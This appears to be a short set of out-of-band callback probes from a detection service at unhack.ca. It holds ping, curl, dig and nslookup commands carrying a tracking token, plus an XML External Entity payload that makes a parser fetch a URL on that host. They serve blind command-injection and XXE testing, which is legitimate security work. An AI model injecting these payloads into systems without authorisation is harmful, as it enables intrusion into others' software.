$ ping -c1 -p 009594a5f2c79f7c810b21932caa1900 unhack.ca
 

$ curl http://unhack.ca/p/9594a5f2c79f7c810b21932caa19
 

$ dig 9594a5f2c79f7c810b21932caa19 @unhack.ca
 

$ dig 9594a5f2c79f7c810b21932caa19.ns.unhack.ca
 

C:\> nslookup 9594a5f2c79f7c810b21932caa19 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9594a5f2c79f7c810b21932caa19">]>
    <foo>&xxe;</foo>